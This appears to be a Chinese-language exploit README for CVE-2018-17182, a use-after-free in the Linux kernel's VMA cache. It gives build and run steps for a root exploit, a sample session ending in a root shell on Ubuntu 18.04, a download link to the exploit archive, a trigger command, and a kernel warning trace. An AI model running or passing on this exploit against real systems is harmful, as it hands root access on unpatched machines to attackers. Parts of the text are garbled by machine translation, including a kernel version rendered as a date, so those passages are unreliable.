CVE-2018-17182
Linux内核VMA-UAF提权漏洞（CVE-2018-17182）
关于
Google Project Zero的网络安全研究人员发布了详细信息，并针对自内核版本3.16到4.18.8以来Linux内核中存在的高严重性漏洞的概念验证（PoC）漏洞利用。
由白帽黑客Jann Horn发现，内核漏洞（CVE-2018-17182）是Linux内存管理子系统中的缓存失效错误，导致释放后使用漏洞，
如果被利用，可能允许攻击者获得根权限目标系统上的特权。
免费使用后（UAF）漏洞是一类内存损坏错误，非特权用户可利用这些错误来破坏或更改内存中的数据，从而导致拒绝服务（系统崩溃）或升级权限以获得管理权限访问系统
Linux的内核漏洞于9月18日在OSS-安全邮件列表中公开，并在第二天在上游支持的稳定内核版本4.18.9,4.14.71,4.9.128和4.4.157中进行了修补。
在58年3月16日版本中也有一个修复程序。
为版本4.15.0-34.37的Ubuntu 18.04，内核linux-image-4.15.0-34-generic附加了一个丑陋的漏洞。
它需要(40min~1hour)在弹出root shell之前运行。
Linux的内核利用需要一个小时才能获得根访问权限
用法：首先用./compile.sh编译，然后运行./puppeteer。示例运行：
user@ubuntu-18-04-vm:~/vmacache$
user@ubuntu-18-04-vm:~/vmacache$
user@ubuntu-18-04-vm:~/vmacache$ ./puppeteer
Do Sep 20 23:55:11 CEST 2018
puppeteer: old kmsg consumed
got map from child!
got WARNING
got RSP line: 0xffff9e0bc2263c60
got RAX line: 0xffff8c7caf1d61a0
got RDI line: 0xffff8c7c214c7380
reached WARNING part 2
got R8 line: 0xffffffffa7243680
trace consumed
offset: 0x110
fake vma pushed
suid file detected, launching rootshell...
we have root privs now...
Fr Sep 21 00:48:00 CEST 2018
root@ubuntu-18-04-vm:~/vmacache#
root@ubuntu-18-04-vm:~/vmacache#
root@ubuntu-18-04-vm:~/vmacache#
root@ubuntu-18-04-vm:~/vmacache#
start=23:55:11
stop=00:48:00 🙂
概念证明：
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45497.zip
用法： Within around 40 minutes
user@debian:~/vma_bug$ gcc -O2 -o vma_test vma_test.c -g && ./vma_test
Segmentation fault
Within around 40 minutes, I get the following warning in dmesg:
=============================================
[ 2376.292518] WARNING: CPU: 0 PID: 1103 at mm/vmacache.c:157 vmacache_find+0xbb/0xd0
[ 2376.296813] Modules linked in: btrfs xor zstd_compress raid6_pq
[ 2376.300095] CPU: 0 PID: 1103 Comm: vma_test Not tainted 4.19.0-rc3+ #161
[ 2376.303650] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 2376.305796] RIP: 0010:vmacache_find+0xbb/0xd0
[ 2376.306963] Code: 48 85 c0 74 11 48 39 78 40 75 1f 48 39 30 77 06 48 39 70 08 77 19 83 c2 01 83 fa 04 41 0f 44 d1 83 e9 01 75 c7 31 c0 c3 f3 c3 <0f> 0b 31 c0 c3 65 48 ff 05 98 97 9b 6a c3 90 90 90 90 90 90 90 0f
[ 2376.311881] RSP: 0000:ffffa934c1e3bec0 EFLAGS: 00010283
[ 2376.313258] RAX: ffff8ac7eaf997d0 RBX: 0000133700204000 RCX: 0000000000000004
[ 2376.315165] RDX: 0000000000000001 RSI: 0000133700204000 RDI: ffff8ac7f3820dc0
[ 2376.316998] RBP: ffff8ac7f3820dc0 R08: 0000000000000001 R09: 0000000000000000
[ 2376.318789] R10: 0000000000000000 R11: 0000000000000000 R12: ffffa934c1e3bf58
[ 2376.320590] R13: ffff8ac7f3820dc0 R14: 0000000000000055 R15: ffff8ac7e9355140
[ 2376.322481] FS: 00007f96165ca700(0000) GS:ffff8ac7f3c00000(0000) knlGS:0000000000000000
[ 2376.324620] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2376.326101] CR2: 0000133700204000 CR3: 0000000229d28001 CR4: 00000000003606f0
[ 2376.327906] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 2376.329819] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 2376.331571] Call Trace:
[ 2376.332208] find_vma+0x16/0x70
[ 2376.332991] ? vfs_read+0x10f/0x130
[ 2376.333852] __do_page_fault+0x191/0x470
[ 2376.334816] ? async_page_fault+0x8/0x30
[ 2376.335776] async_page_fault+0x1e/0x30
[ 2376.336746] RIP: 0033:0x555e2a2b4c37
[ 2376.337600] Code: 05 80 e8 9c fc ff ff 83 f8 ff 0f 84 ad 00 00 00 8b 3d 81 14 20 00 e8 48 02 00 00 48 b8 00 40 20 00 37 13 00 00 bf 37 13 37 13 <c6> 00 01 31 c0 e8 cf fc ff ff 48 83 ec 80 31 c0 5b 5d 41 5c c3 48
[ 2376.342085] RSP: 002b:00007ffd505e8d30 EFLAGS: 00010206
[ 2376.343334] RAX: 0000133700204000 RBX: 0000000100000000 RCX: 00007f9616102700
[ 2376.345133] RDX: 0000000000000008 RSI: 00007ffd505e8d18 RDI: 0000000013371337
[ 2376.346834] RBP: 00007f96165e4000 R08: 0000000000000000 R09: 0000000000000000
[ 2376.348889] R10: 0000000000000001 R11: 0000000000000246 R12: 0000000100000000
[ 2376.350570] R13: 00007ffd505e8ea0 R14: 0000000000000000 R15: 0000000000000000
[ 2376.352246] ---[ end trace 995fa641c5115cfb ]---
[ 2376.353406] vma_test[1103]: segfault at 133700204000 ip 0000555e2a2b4c37 sp 00007ffd505e8d30 error 6 in vma_test[555e2a2b4000+2000]
=============================================
The source code corresponding to the warning, which is triggered because
the VMA cache references a VMA struct that has been reallocated to
another process in the meantime:
#ifdef CONFIG_DEBUG_VM_VMACACHE
if (WARN_ON_ONCE(vma->vm_mm != mm))
break;
#endif
################################################################################
参考链接：
https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug-in-linux.html
https://www.exploit-db.com/exploits/45497/
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45497.zip
